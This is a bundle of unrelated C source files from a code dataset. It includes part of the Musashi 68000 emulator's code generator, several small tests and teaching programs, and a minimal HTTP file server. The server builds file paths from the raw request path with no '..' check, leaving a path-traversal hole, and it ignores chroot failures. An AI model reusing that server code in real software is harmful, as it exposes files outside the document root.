replace->length = old_length;
if(HAS_EA_PCDI(op->ea_allowed))
generate_opcode_handler(filep, body, replace, op, EA_MODE_PCDI);
replace->length = old_length;
if(HAS_EA_PCIX(op->ea_allowed))
generate_opcode_handler(filep, body, replace, op, EA_MODE_PCIX);
replace->length = old_length;
if(HAS_EA_I(op->ea_allowed))
generate_opcode_handler(filep, body, replace, op, EA_MODE_I);
replace->length = old_length;
}
/* Generate variants of condition code opcodes */
void generate_opcode_cc_variants(FILE* filep, body_struct* body, replace_struct* replace, opcode_struct* op_in, int offset)
{
char repl[20];
char replnot[20];
int i;
int old_length = replace->length;
opcode_struct* op = malloc(sizeof(opcode_struct));
*op = *op_in;
op->op_mask |= 0x0f00;
/* Do all condition codes except t and f */
for(i=2;i<16;i++)
{
/* Add replace strings for this condition code */
sprintf(repl, "COND_%s()", g_cc_table[i][1]);
sprintf(replnot, "COND_NOT_%s()", g_cc_table[i][1]);
add_replace_string(replace, ID_OPHANDLER_CC, repl);
add_replace_string(replace, ID_OPHANDLER_NOT_CC, replnot);
/* Set the new opcode info */
strcpy(op->name+offset, g_cc_table[i][0]);
op->op_match = (op->op_match & 0xf0ff) | (i<<8);
/* Generate all opcode variants for this modified opcode */
generate_opcode_ea_variants(filep, body, replace, op);
/* Remove the above replace strings */
replace->length = old_length;
}
free(op);
}
/* Process the opcode handlers section of the input file */
void process_opcode_handlers(FILE* filep)
{
FILE* input_file = g_input_file;
char func_name[MAX_LINE_LENGTH+1];
char oper_name[MAX_LINE_LENGTH+1];
int oper_size;
char oper_spec_proc[MAX_LINE_LENGTH+1];
char oper_spec_ea[MAX_LINE_LENGTH+1];
opcode_struct* opinfo;
replace_struct* replace = malloc(sizeof(replace_struct));
body_struct* body = malloc(sizeof(body_struct));
for(;;)
{
/* Find the first line of the function */
func_name[0] = 0;
while(strstr(func_name, ID_OPHANDLER_NAME) == NULL)
{
if(strcmp(func_name, ID_INPUT_SEPARATOR) == 0)
{
free(replace);
free(body);
return; /* all done */
}
if(fgetline(func_name, MAX_LINE_LENGTH, input_file) < 0)
error_exit("Premature end of file when getting function name");
}
/* Get the rest of the function */
for(body->length=0;;body->length++)
{
if(body->length > MAX_BODY_LENGTH)
error_exit("Function too long");
if(fgetline(body->body[body->length], MAX_LINE_LENGTH, input_file) < 0)
error_exit("Premature end of file when getting function body");
if(body->body[body->length][0] == '}')
{
body->length++;
break;
}
}
g_num_primitives++;
/* Extract the function name information */
if(!extract_opcode_info(func_name, oper_name, &oper_size, oper_spec_proc, oper_spec_ea))
error_exit("Invalid " ID_OPHANDLER_NAME " format");
/* Find the corresponding table entry */
opinfo = find_opcode(oper_name, oper_size, oper_spec_proc, oper_spec_ea);
if(opinfo == NULL)
error_exit("Unable to find matching table entry for %s", func_name);
#if 1 /* PD hack: 000 only */
if (opinfo->cpus[0] == UNSPECIFIED_CH)
continue;
#endif
replace->length = 0;
/* Generate opcode variants */
if(strcmp(opinfo->name, "bcc") == 0 || strcmp(opinfo->name, "scc") == 0)
generate_opcode_cc_variants(filep, body, replace, opinfo, 1);
else if(strcmp(opinfo->name, "dbcc") == 0)
generate_opcode_cc_variants(filep, body, replace, opinfo, 2);
else if(strcmp(opinfo->name, "trapcc") == 0)
generate_opcode_cc_variants(filep, body, replace, opinfo, 4);
else
generate_opcode_ea_variants(filep, body, replace, opinfo);
}
free(replace);
free(body);
}
/* Populate the opcode handler table from the input file */
void populate_table(void)
{
char* ptr;
char bitpattern[17];
opcode_struct* op;
char buff[MAX_LINE_LENGTH];
int i;
int temp;
buff[0] = 0;
/* Find the start of the table */
while(strcmp(buff, ID_TABLE_START) != 0)
if(fgetline(buff, MAX_LINE_LENGTH, g_input_file) < 0)
error_exit("Premature EOF while reading table");
/* Process the entire table */
for(op = g_opcode_input_table;;op++)
{
if(fgetline(buff, MAX_LINE_LENGTH, g_input_file) < 0)
error_exit("Premature EOF while reading table");
if(strlen(buff) == 0)
continue;
/* We finish when we find an input separator */
if(strcmp(buff, ID_INPUT_SEPARATOR) == 0)
break;
/* Extract the info from the table */
ptr = buff;
/* Name */
ptr += skip_spaces(ptr);
ptr += check_strsncpy(op->name, ptr, MAX_NAME_LENGTH);
/* Size */
ptr += skip_spaces(ptr);
ptr += check_atoi(ptr, &temp);
op->size = (unsigned char)temp;
/* Special processing */
ptr += skip_spaces(ptr);
ptr += check_strsncpy(op->spec_proc, ptr, MAX_SPEC_PROC_LENGTH);
/* Specified EA Mode */
ptr += skip_spaces(ptr);
ptr += check_strsncpy(op->spec_ea, ptr, MAX_SPEC_EA_LENGTH);
/* Bit Pattern (more processing later) */
ptr += skip_spaces(ptr);
ptr += check_strsncpy(bitpattern, ptr, 17);
/* Allowed Addressing Mode List */
ptr += skip_spaces(ptr);
ptr += check_strsncpy(op->ea_allowed, ptr, EA_ALLOWED_LENGTH);
/* CPU operating mode (U = user or supervisor, S = supervisor only */
ptr += skip_spaces(ptr);
for(i=0;i<NUM_CPUS;i++)
{
op->cpu_mode[i] = *ptr++;
ptr += skip_spaces(ptr);
}
/* Allowed CPUs for this instruction */
for(i=0;i<NUM_CPUS;i++)
{
ptr += skip_spaces(ptr);
if(*ptr == UNSPECIFIED_CH)
{
op->cpus[i] = UNSPECIFIED_CH;
op->cycles[i] = 0;
ptr++;
}
else
{
op->cpus[i] = '0' + i;
ptr += check_atoi(ptr, &temp);
op->cycles[i] = (unsigned char)temp;
}
}
/* generate mask and match from bitpattern */
op->op_mask = 0;
op->op_match = 0;
for(i=0;i<16;i++)
{
op->op_mask |= (bitpattern[i] != '.') << (15-i);
op->op_match |= (bitpattern[i] == '1') << (15-i);
}
}
/* Terminate the list */
op->name[0] = 0;
}
/* Read a header or footer insert from the input file */
void read_insert(char* insert)
{
char* ptr = insert;
char* overflow = insert + MAX_INSERT_LENGTH - MAX_LINE_LENGTH;
int length;
char* first_blank = NULL;
first_blank = NULL;
/* Skip any leading blank lines */
for(length = 0;length == 0;length = fgetline(ptr, MAX_LINE_LENGTH, g_input_file))
if(ptr >= overflow)
error_exit("Buffer overflow reading inserts");
if(length < 0)
error_exit("Premature EOF while reading inserts");
/* Advance and append newline */
ptr += length;
strcpy(ptr++, "\n");
/* Read until next separator */
for(;;)
{
/* Read a new line */
if(ptr >= overflow)
error_exit("Buffer overflow reading inserts");
if((length = fgetline(ptr, MAX_LINE_LENGTH, g_input_file)) < 0)
error_exit("Premature EOF while reading inserts");
/* Stop if we read a separator */
if(strcmp(ptr, ID_INPUT_SEPARATOR) == 0)
break;
/* keep track in case there are trailing blanks */
if(length == 0)
{
if(first_blank == NULL)
first_blank = ptr;
}
else
first_blank = NULL;
/* Advance and append newline */
ptr += length;
strcpy(ptr++, "\n");
}
/* kill any trailing blank lines */
if(first_blank)
ptr = first_blank;
*ptr++ = 0;
}
/* ======================================================================== */
/* ============================= MAIN FUNCTION ============================ */
/* ======================================================================== */
int main(int argc, char **argv)
{
/* File stuff */
char output_path[M68K_MAX_DIR] = "";
char filename[M68K_MAX_PATH];
/* Section identifier */
char section_id[MAX_LINE_LENGTH+1];
/* Inserts */
char temp_insert[MAX_INSERT_LENGTH+1];
char prototype_footer_insert[MAX_INSERT_LENGTH+1];
char table_header_insert[MAX_INSERT_LENGTH+1];
char table_footer_insert[MAX_INSERT_LENGTH+1];
char ophandler_header_insert[MAX_INSERT_LENGTH+1];
char ophandler_footer_insert[MAX_INSERT_LENGTH+1];
/* Flags if we've processed certain parts already */
int prototype_header_read = 0;
int prototype_footer_read = 0;
int table_header_read = 0;
int table_footer_read = 0;
int ophandler_header_read = 0;
int ophandler_footer_read = 0;
int table_body_read = 0;
int ophandler_body_read = 0;
printf("\n\tMusashi v%s 68000, 68008, 68010, 68EC020, 68020, 68040 emulator\n", g_version);
printf("\tCopyright 1998-2007 Karl Stenerud ([email protected])\n\n");
/* Check if output path and source for the input file are given */
if(argc > 1)
{
char *ptr;
strcpy(output_path, argv[1]);
for(ptr = strchr(output_path, '\\'); ptr; ptr = strchr(ptr, '\\'))
*ptr = '/';
#if !(defined(__DECC) && defined(VMS))
if(output_path[strlen(output_path)-1] != '/')
strcat(output_path, "/");
#endif
if(argc > 2)
strcpy(g_input_filename, argv[2]);
}
#if defined(__DECC) && defined(VMS)
/* Open the files we need */
sprintf(filename, "%s%s", output_path, FILENAME_PROTOTYPE);
if((g_prototype_file = fopen(filename, "w")) == NULL)
perror_exit("Unable to create prototype file (%s)\n", filename);
sprintf(filename, "%s%s", output_path, FILENAME_TABLE);
if((g_table_file = fopen(filename, "w")) == NULL)
perror_exit("Unable to create table file (%s)\n", filename);
if((g_input_file=fopen(g_input_filename, "r")) == NULL)
perror_exit("can't open %s for input", g_input_filename);
#else
/* Open the files we need */
sprintf(filename, "%s%s", output_path, FILENAME_PROTOTYPE);
if((g_prototype_file = fopen(filename, "wt")) == NULL)
perror_exit("Unable to create prototype file (%s)\n", filename);
sprintf(filename, "%s%s", output_path, FILENAME_TABLE);
if((g_table_file = fopen(filename, "wt")) == NULL)
perror_exit("Unable to create table file (%s)\n", filename);
if((g_input_file=fopen(g_input_filename, "rt")) == NULL)
perror_exit("can't open %s for input", g_input_filename);
#endif
/* Get to the first section of the input file */
section_id[0] = 0;
while(strcmp(section_id, ID_INPUT_SEPARATOR) != 0)
if(fgetline(section_id, MAX_LINE_LENGTH, g_input_file) < 0)
error_exit("Premature EOF while reading input file");
/* Now process all sections */
for(;;)
{
if(fgetline(section_id, MAX_LINE_LENGTH, g_input_file) < 0)
error_exit("Premature EOF while reading input file");
if(strcmp(section_id, ID_PROTOTYPE_HEADER) == 0)
{
if(prototype_header_read)
error_exit("Duplicate prototype header");
read_insert(temp_insert);
fprintf(g_prototype_file, "%s\n\n", temp_insert);
prototype_header_read = 1;
}
else if(strcmp(section_id, ID_TABLE_HEADER) == 0)
{
if(table_header_read)
error_exit("Duplicate table header");
read_insert(table_header_insert);
table_header_read = 1;
}
else if(strcmp(section_id, ID_OPHANDLER_HEADER) == 0)
{
if(ophandler_header_read)
error_exit("Duplicate opcode handler header");
read_insert(ophandler_header_insert);
ophandler_header_read = 1;
}
else if(strcmp(section_id, ID_PROTOTYPE_FOOTER) == 0)
{
if(prototype_footer_read)
error_exit("Duplicate prototype footer");
read_insert(prototype_footer_insert);
prototype_footer_read = 1;
}
else if(strcmp(section_id, ID_TABLE_FOOTER) == 0)
{
if(table_footer_read)
error_exit("Duplicate table footer");
read_insert(table_footer_insert);
table_footer_read = 1;
}
else if(strcmp(section_id, ID_OPHANDLER_FOOTER) == 0)
{
if(ophandler_footer_read)
error_exit("Duplicate opcode handler footer");
read_insert(ophandler_footer_insert);
ophandler_footer_read = 1;
}
else if(strcmp(section_id, ID_TABLE_BODY) == 0)
{
if(!prototype_header_read)
error_exit("Table body encountered before prototype header");
if(!table_header_read)
error_exit("Table body encountered before table header");
if(!ophandler_header_read)
error_exit("Table body encountered before opcode handler header");
if(table_body_read)
error_exit("Duplicate table body");
populate_table();
table_body_read = 1;
}
else if(strcmp(section_id, ID_OPHANDLER_BODY) == 0)
{
if(!prototype_header_read)
error_exit("Opcode handlers encountered before prototype header");
if(!table_header_read)
error_exit("Opcode handlers encountered before table header");
if(!ophandler_header_read)
error_exit("Opcode handlers encountered before opcode handler header");
if(!table_body_read)
error_exit("Opcode handlers encountered before table body");
if(ophandler_body_read)
error_exit("Duplicate opcode handler section");
fprintf(g_table_file, "%s\n\n", ophandler_header_insert);
process_opcode_handlers(g_table_file);
fprintf(g_table_file, "%s\n\n", ophandler_footer_insert);
ophandler_body_read = 1;
}
else if(strcmp(section_id, ID_END) == 0)
{
/* End of input file. Do a sanity check and then write footers */
if(!prototype_header_read)
error_exit("Missing prototype header");
if(!prototype_footer_read)
error_exit("Missing prototype footer");
if(!table_header_read)
error_exit("Missing table header");
if(!table_footer_read)
error_exit("Missing table footer");
if(!table_body_read)
error_exit("Missing table body");
if(!ophandler_header_read)
error_exit("Missing opcode handler header");
if(!ophandler_footer_read)
error_exit("Missing opcode handler footer");
if(!ophandler_body_read)
error_exit("Missing opcode handler body");
fprintf(g_table_file, "%s\n\n", table_header_insert);
print_opcode_output_table(g_table_file);
fprintf(g_table_file, "%s\n\n", table_footer_insert);
fprintf(g_prototype_file, "%s\n\n", prototype_footer_insert);
break;
}
else
{
error_exit("Unknown section identifier: %s", section_id);
}
}
/* Close all files and exit */
fclose(g_prototype_file);
fclose(g_table_file);
fclose(g_input_file);
printf("Generated %d opcode handlers from %d primitives\n", g_num_functions, g_num_primitives);
return 0;
}
/* ======================================================================== */
/* ============================== END OF FILE ============================= */
/* ======================================================================== */
|
the_stack_data/51699092.c
|
/* This should not warn about the case label being out of range. */
/* { dg-do run } */
/* { dg-options "-O0" } */
extern void abort (void);
extern void exit (int);
int
foo (unsigned int i)
{
switch (i)
{
case 123456123456ULL: /* { dg-warning "large integer implicitly truncated to unsigned type" } */
return 0;
default:
return 3;
}
}
int
main (void)
{
if (foo (10) != 3)
abort ();
exit (0);
}
|
the_stack_data/43889005.c
|
#if defined(__GNUC__) && __GNUC__ >= 4
#if !defined(_WIN32) && !defined(__CYGWIN__)
__attribute__ ((visibility ("hidden")))
#endif
#endif
unsigned char *clear_on_drop_hide(unsigned char *ptr) {
#if defined(__GNUC__)
/* Not needed with MSVC, since Rust uses LLVM and LTO can't inline this. */
__asm__ volatile ("" : "=r" (ptr) : "0" (ptr) : "memory");
#endif
return ptr;
}
|
the_stack_data/193894120.c
|
/* Test that an error from posix_spawn() is correctly propagated to the
parent. */
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <spawn.h>
int main(void)
{
int res = 1;
int err;
posix_spawn_file_actions_t file_actions;
char *argv_exe[] = {"true", NULL};
char *envv_exe[] = {NULL};
err = posix_spawn_file_actions_init(&file_actions);
if (err != 0) {
errno = err;
perror("posix_spawn_file_actions_init");
return 1;
}
err = posix_spawn_file_actions_adddup2(&file_actions, 3, 4);
if (err != 0) {
errno = err;
perror("posix_spawn_file_actions_adddup2");
goto out;
}
/* The following call to posix_spawn() should fail because the requested
dup2 action cannot be performed. */
err = posix_spawn(NULL, "/bin/true", &file_actions, NULL, argv_exe,
envv_exe);
if (err != 0) {
errno = err;
perror("posix_spawn");
goto out;
}
res = 0;
out:
err = posix_spawn_file_actions_destroy(&file_actions);
if (err != 0) {
errno = err;
perror("posix_spawn_file_actions_destroy");
res = 1;
}
return res;
}
|
the_stack_data/886041.c
|
/*-*/
/********************************************************
* Name: *
* print terms *
* *
* Usage: *
* Run it and get some simple answers. *
* *
* Purpose: *
* Demonstrates printing the results of simple *
* equations. *
********************************************************/
/*+*/
#include <stdio.h>
int term; /* term used in two expressions */
int main()
{
term = 3 * 5;
printf("Twice %d is %d\n", term, 2*term);
printf("Three times %d is %d\n", term, 3*term);
return (0);
}
|
the_stack_data/1143886.c
|
#include<stdio.h>
//寻找小于且能被整除的数
int main(int argc, char const *argv[])
{
//定义变量
int key=11; //除数
int date=0; //被除数
int temp[1000]; //用作缓存
int n=0;
//输入
scanf("%d",&date);
//寻找小于且能被整除的数
for (int i = 0; i < date; i++)
{
if (i%key==0)
{
temp[n]=i;
n++;
}
}
//输出
for (int i = 0; i <n; i++)
{
if (i==(n-1))
{
printf("%d",temp[i]);
}else
{
printf("%d ",temp[i]);
}
}
return 0;
}
|
the_stack_data/155115.c
|
/******************************************************************/
/* Copyright (c) 1989, Intel Corporation
Intel hereby grants you permission to copy, modify, and
distribute this software and its documentation. Intel grants
this permission provided that the above copyright notice
appears in all copies and that both the copyright notice and
this permission notice appear in supporting documentation. In
addition, Intel grants this permission provided that you
prominently mark as not part of the original any modifications
made to this software or documentation, and that the name of
Intel Corporation not be used in advertising or publicity
pertaining to distribution of the software or the documentation
without specific, written prior permission.
Intel Corporation does not warrant, guarantee or make any
representations regarding the use of, or the results of the use
of, the software and documentation in terms of correctness,
accuracy, reliability, currentness, or otherwise; and you rely
on the software, documentation and results solely at your own
risk. */
/******************************************************************/
/*
* "posix" stubs for GCC960 libraries: getpid, link
*/
int getpid()
{
return 1;
}
int
link(char *s1, char *s2)
{
return -1; /* it never works */
}
|
the_stack_data/118142.c
|
/*
httpd.c
Copyright (c) 2004,2005 Minero Aoki
This program is free software.
Redistribution and use in source and binary forms,
with or without modification, are permitted.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netdb.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <time.h>
#include <stdarg.h>
#include <ctype.h>
#include <signal.h>
#include <pwd.h>
#include <grp.h>
#include <syslog.h>
#define _GNU_SOURCE
#include <getopt.h>
/****** Constants ********************************************************/
#define SERVER_NAME "LittleHTTP"
#define SERVER_VERSION "1.0"
#define HTTP_MINOR_VERSION 0
#define BLOCK_BUF_SIZE 1024
#define LINE_BUF_SIZE 4096
#define MAX_REQUEST_BODY_LENGTH (1024 * 1024)
#define MAX_BACKLOG 5
#define DEFAULT_PORT "80"
/****** Data Type Definitions ********************************************/
struct HTTPHeaderField {
char *name;
char *value;
struct HTTPHeaderField *next;
};
struct HTTPRequest {
int protocol_minor_version;
char *method;
char *path;
struct HTTPHeaderField *header;
char *body;
long length;
};
struct FileInfo {
char *path;
long size;
int ok;
};
/****** Function Prototypes **********************************************/
static void setup_environment(char *root, char *user, char *group);
typedef void (*sighandler_t)(int);
static void install_signal_handlers(void);
static void trap_signal(int sig, sighandler_t handler);
static void signal_exit(int sig);
static void wait_child(int sig);
static void become_daemon(void);
static int listen_socket(char *port);
static void server_main(int server, char *docroot);
static void service(FILE *in, FILE *out, char *docroot);
static struct HTTPRequest* read_request(FILE *in);
static void read_request_line(struct HTTPRequest *req, FILE *in);
static struct HTTPHeaderField* read_header_field(FILE *in);
static void upcase(char *str);
static void free_request(struct HTTPRequest *req);
static long content_length(struct HTTPRequest *req);
static char* lookup_header_field_value(struct HTTPRequest *req, char *name);
static void respond_to(struct HTTPRequest *req, FILE *out, char *docroot);
static void do_file_response(struct HTTPRequest *req, FILE *out, char *docroot);
static void method_not_allowed(struct HTTPRequest *req, FILE *out);
static void not_implemented(struct HTTPRequest *req, FILE *out);
static void not_found(struct HTTPRequest *req, FILE *out);
static void output_common_header_fields(struct HTTPRequest *req, FILE *out, char *status);
static struct FileInfo* get_fileinfo(char *docroot, char *path);
static char* build_fspath(char *docroot, char *path);
static void free_fileinfo(struct FileInfo *info);
static char* guess_content_type(struct FileInfo *info);
static void* xmalloc(size_t sz);
static void log_exit(const char *fmt, ...);
/****** Functions ********************************************************/
#define USAGE "Usage: %s [--port=n] [--chroot --user=u --group=g] [--debug] <docroot>\n"
static int debug_mode = 0;
static struct option longopts[] = {
{"debug", no_argument, &debug_mode, 1},
{"chroot", no_argument, NULL, 'c'},
{"user", required_argument, NULL, 'u'},
{"group", required_argument, NULL, 'g'},
{"port", required_argument, NULL, 'p'},
{"help", no_argument, NULL, 'h'},
{0, 0, 0, 0}
};
int
main(int argc, char *argv[])
{
int server;
char *port = NULL;
char *docroot;
int do_chroot = 0;
char *user = NULL;
char *group = NULL;
int opt;
while ((opt = getopt_long(argc, argv, "", longopts, NULL)) != -1) {
switch (opt) {
case 0:
break;
case 'c':
do_chroot = 1;
break;
case 'u':
user = optarg;
break;
case 'g':
group = optarg;
break;
case 'p':
port = optarg;
break;
case 'h':
fprintf(stdout, USAGE, argv[0]);
exit(0);
case '?':
fprintf(stderr, USAGE, argv[0]);
exit(1);
}
}
if (optind != argc - 1) {
fprintf(stderr, USAGE, argv[0]);
exit(1);
}
docroot = argv[optind];
if (do_chroot) {
setup_environment(docroot, user, group);
docroot = "";
}
install_signal_handlers();
server = listen_socket(port);
if (!debug_mode) {
openlog(SERVER_NAME, LOG_PID|LOG_NDELAY, LOG_DAEMON);
become_daemon();
}
server_main(server, docroot);
exit(0);
}
static void
setup_environment(char *root, char *user, char *group)
{
struct passwd *pw;
struct group *gr;
if (!user || !group) {
fprintf(stderr, "use both of --user and --group\n");
exit(1);
}
gr = getgrnam(group);
if (!gr) {
fprintf(stderr, "no such group: %s\n", group);
exit(1);
}
if (setgid(gr->gr_gid) < 0) {
perror("setgid(2)");
exit(1);
}
if (initgroups(user, gr->gr_gid) < 0) {
perror("initgroups(2)");
exit(1);
}
pw = getpwnam(user);
if (!pw) {
fprintf(stderr, "no such user: %s\n", user);
exit(1);
}
chroot(root);
if (setuid(pw->pw_uid) < 0) {
perror("setuid(2)");
exit(1);
}
}
static void
become_daemon(void)
{
int n;
if (chdir("/") < 0)
log_exit("chdir(2) failed: %s", strerror(errno));
freopen("/dev/null", "r", stdin);
freopen("/dev/null", "w", stdout);
freopen("/dev/null", "w", stderr);
n = fork();
if (n < 0) log_exit("fork(2) failed: %s", strerror(errno));
if (n != 0) _exit(0);
if (setsid() < 0) log_exit("setsid(2) failed: %s", strerror(errno));
}
static void
install_signal_handlers(void)
{
trap_signal(SIGTERM, signal_exit);
trap_signal(SIGCHLD, wait_child);
}
static void
trap_signal(int sig, sighandler_t handler)
{
struct sigaction act;
act.sa_handler = handler;
sigemptyset(&act.sa_mask);
act.sa_flags = SA_RESTART;
if (sigaction(sig, &act, NULL) < 0)
log_exit("sigaction() failed: %s", strerror(errno));
}
static void
signal_exit(int sig)
{
log_exit("exit by signal %d", sig);
}
static void
wait_child(int sig)
{
wait(NULL);
}
static int
listen_socket(char *port)
{
struct addrinfo hints, *res, *ai;
int err;
memset(&hints, 0, sizeof(struct addrinfo));
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_flags = AI_PASSIVE;
if ((err = getaddrinfo(NULL, port, &hints, &res)) != 0)
log_exit(gai_strerror(err));
for (ai = res; ai; ai = ai->ai_next) {
int sock;
sock = socket(ai->ai_family, ai->ai_socktype, ai->ai_protocol);
if (sock < 0) continue;
if (bind(sock, ai->ai_addr, ai->ai_addrlen) < 0) {
close(sock);
continue;
}
if (listen(sock, MAX_BACKLOG) < 0) {
close(sock);
continue;
}
freeaddrinfo(res);
return sock;
}
log_exit("failed to listen socket");
return -1; /* NOT REACH */
}
static void
server_main(int server, char *docroot)
{
for (;;) {
struct sockaddr_storage addr;
socklen_t addrlen = sizeof addr;
int sock;
int pid;
sock = accept(server, (struct sockaddr*)&addr, &addrlen);
if (sock < 0) log_exit("accept(2) failed: %s", strerror(errno));
pid = fork();
if (pid < 0) exit(3);
if (pid == 0) { /* child */
FILE *inf = fdopen(sock, "r");
FILE *outf = fdopen(sock, "w");
service(inf, outf, docroot);
exit(0);
}
close(sock);
}
}
static void
service(FILE *in, FILE *out, char *docroot)
{
struct HTTPRequest *req;
req = read_request(in);
respond_to(req, out, docroot);
free_request(req);
}
static struct HTTPRequest*
read_request(FILE *in)
{
struct HTTPRequest *req;
struct HTTPHeaderField *h;
req = xmalloc(sizeof(struct HTTPRequest));
read_request_line(req, in);
req->header = NULL;
while (h = read_header_field(in)) {
h->next = req->header;
req->header = h;
}
req->length = content_length(req);
if (req->length != 0) {
if (req->length > MAX_REQUEST_BODY_LENGTH)
log_exit("request body too long");
req->body = xmalloc(req->length);
if (fread(req->body, req->length, 1, in) < 1)
log_exit("failed to read request body");
} else {
req->body = NULL;
}
return req;
}
static void
read_request_line(struct HTTPRequest *req, FILE *in)
{
char buf[LINE_BUF_SIZE];
char *path, *p;
if (!fgets(buf, LINE_BUF_SIZE, in))
log_exit("no request line");
p = strchr(buf, ' '); /* p (1) */
if (!p) log_exit("parse error on request line (1): %s", buf);
*p++ = '\0';
req->method = xmalloc(p - buf);
strcpy(req->method, buf);
upcase(req->method);
path = p;
p = strchr(path, ' '); /* p (2) */
if (!p) log_exit("parse error on request line (2): %s", buf);
*p++ = '\0';
req->path = xmalloc(p - path);
strcpy(req->path, path);
if (strncasecmp(p, "HTTP/1.", strlen("HTTP/1.")) != 0)
log_exit("parse error on request line (3): %s", buf);
p += strlen("HTTP/1."); /* p (3) */
req->protocol_minor_version = atoi(p);
}
static struct HTTPHeaderField*
read_header_field(FILE *in)
{
struct HTTPHeaderField *h;
char buf[LINE_BUF_SIZE];
char *p;
if (!fgets(buf, LINE_BUF_SIZE, in))
log_exit("failed to read request header field: %s", strerror(errno));
if ((buf[0] == '\n') || (strcmp(buf, "\r\n") == 0))
return NULL;
p = strchr(buf, ':');
if (!p) log_exit("parse error on request header field: %s", buf);
*p++ = '\0';
h = xmalloc(sizeof(struct HTTPHeaderField));
h->name = xmalloc(p - buf);
strcpy(h->name, buf);
p += strspn(p, " \t");
h->value = xmalloc(strlen(p) + 1);
strcpy(h->value, p);
return h;
}
static void
upcase(char *str)
{
char *p;
for (p = str; *p; p++) {
*p = (char)toupper((int)*p);
}
}
static void
free_request(struct HTTPRequest *req)
{
struct HTTPHeaderField *h, *head;
head = req->header;
while (head) {
h = head;
head = head->next;
free(h->name);
free(h->value);
free(h);
}
free(req->method);
free(req->path);
free(req->body);
free(req);
}
static long
content_length(struct HTTPRequest *req)
{
char *val;
long len;
val = lookup_header_field_value(req, "Content-Length");
if (!val) return 0;
len = atol(val);
if (len < 0) log_exit("negative Content-Length value");
return len;
}
static char*
lookup_header_field_value(struct HTTPRequest *req, char *name)
{
struct HTTPHeaderField *h;
for (h = req->header; h; h = h->next) {
if (strcasecmp(h->name, name) == 0)
return h->value;
}
return NULL;
}
static void
respond_to(struct HTTPRequest *req, FILE *out, char *docroot)
{
if (strcmp(req->method, "GET") == 0)
do_file_response(req, out, docroot);
else if (strcmp(req->method, "HEAD") == 0)
do_file_response(req, out, docroot);
else if (strcmp(req->method, "POST") == 0)
method_not_allowed(req, out);
else
not_implemented(req, out);
}
static void
do_file_response(struct HTTPRequest *req, FILE *out, char *docroot)
{
struct FileInfo *info;
info = get_fileinfo(docroot, req->path);
if (!info->ok) {
free_fileinfo(info);
not_found(req, out);
return;
}
output_common_header_fields(req, out, "200 OK");
fprintf(out, "Content-Length: %ld\r\n", info->size);
fprintf(out, "Content-Type: %s\r\n", guess_content_type(info));
fprintf(out, "\r\n");
if (strcmp(req->method, "HEAD") != 0) {
int fd;
char buf[BLOCK_BUF_SIZE];
ssize_t n;
fd = open(info->path, O_RDONLY);
if (fd < 0)
log_exit("failed to open %s: %s", info->path, strerror(errno));
for (;;) {
n = read(fd, buf, BLOCK_BUF_SIZE);
if (n < 0)
log_exit("failed to read %s: %s", info->path, strerror(errno));
if (n == 0)
break;
if (fwrite(buf, 1, n, out) < n)
log_exit("failed to write to socket");
}
close(fd);
}
fflush(out);
free_fileinfo(info);
}
static void
method_not_allowed(struct HTTPRequest *req, FILE *out)
{
output_common_header_fields(req, out, "405 Method Not Allowed");
fprintf(out, "Content-Type: text/html\r\n");
fprintf(out, "\r\n");
fprintf(out, "<html>\r\n");
fprintf(out, "<header>\r\n");
fprintf(out, "<title>405 Method Not Allowed</title>\r\n");
fprintf(out, "<header>\r\n");
fprintf(out, "<body>\r\n");
fprintf(out, "<p>The request method %s is not allowed</p>\r\n", req->method);
fprintf(out, "</body>\r\n");
fprintf(out, "</html>\r\n");
fflush(out);
}
static void
not_implemented(struct HTTPRequest *req, FILE *out)
{
output_common_header_fields(req, out, "501 Not Implemented");
fprintf(out, "Content-Type: text/html\r\n");
fprintf(out, "\r\n");
fprintf(out, "<html>\r\n");
fprintf(out, "<header>\r\n");
fprintf(out, "<title>501 Not Implemented</title>\r\n");
fprintf(out, "<header>\r\n");
fprintf(out, "<body>\r\n");
fprintf(out, "<p>The request method %s is not implemented</p>\r\n", req->method);
fprintf(out, "</body>\r\n");
fprintf(out, "</html>\r\n");
fflush(out);
}
static void
not_found(struct HTTPRequest *req, FILE *out)
{
output_common_header_fields(req, out, "404 Not Found");
fprintf(out, "Content-Type: text/html\r\n");
fprintf(out, "\r\n");
if (strcmp(req->method, "HEAD") != 0) {
fprintf(out, "<html>\r\n");
fprintf(out, "<header><title>Not Found</title><header>\r\n");
fprintf(out, "<body><p>File not found</p></body>\r\n");
fprintf(out, "</html>\r\n");
}
fflush(out);
}
#define TIME_BUF_SIZE 64
static void
output_common_header_fields(struct HTTPRequest *req, FILE *out, char *status)
{
time_t t;
struct tm *tm;
char buf[TIME_BUF_SIZE];
t = time(NULL);
tm = gmtime(&t);
if (!tm) log_exit("gmtime() failed: %s", strerror(errno));
strftime(buf, TIME_BUF_SIZE, "%a, %d %b %Y %H:%M:%S GMT", tm);
fprintf(out, "HTTP/1.%d %s\r\n", HTTP_MINOR_VERSION, status);
fprintf(out, "Date: %s\r\n", buf);
fprintf(out, "Server: %s/%s\r\n", SERVER_NAME, SERVER_VERSION);
fprintf(out, "Connection: close\r\n");
}
static struct FileInfo*
get_fileinfo(char *docroot, char *urlpath)
{
struct FileInfo *info;
struct stat st;
info = xmalloc(sizeof(struct FileInfo));
info->path = build_fspath(docroot, urlpath);
info->ok = 0;
if (lstat(info->path, &st) < 0) return info;
if (!S_ISREG(st.st_mode)) return info;
info->ok = 1;
info->size = st.st_size;
return info;
}
static char *
build_fspath(char *docroot, char *urlpath)
{
char *path;
path = xmalloc(strlen(docroot) + 1 + strlen(urlpath) + 1);
sprintf(path, "%s/%s", docroot, urlpath);
return path;
}
static void
free_fileinfo(struct FileInfo *info)
{
free(info->path);
free(info);
}
static char*
guess_content_type(struct FileInfo *info)
{
return "text/plain"; /* FIXME */
}
static void*
xmalloc(size_t sz)
{
void *p;
p = malloc(sz);
if (!p) log_exit("failed to allocate memory");
return p;
}
static void
log_exit(const char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
if (debug_mode) {
vfprintf(stderr, fmt, ap);
fputc('\n', stderr);
}
else {
vsyslog(LOG_ERR, fmt, ap);
}
va_end(ap);
exit(1);
}
|
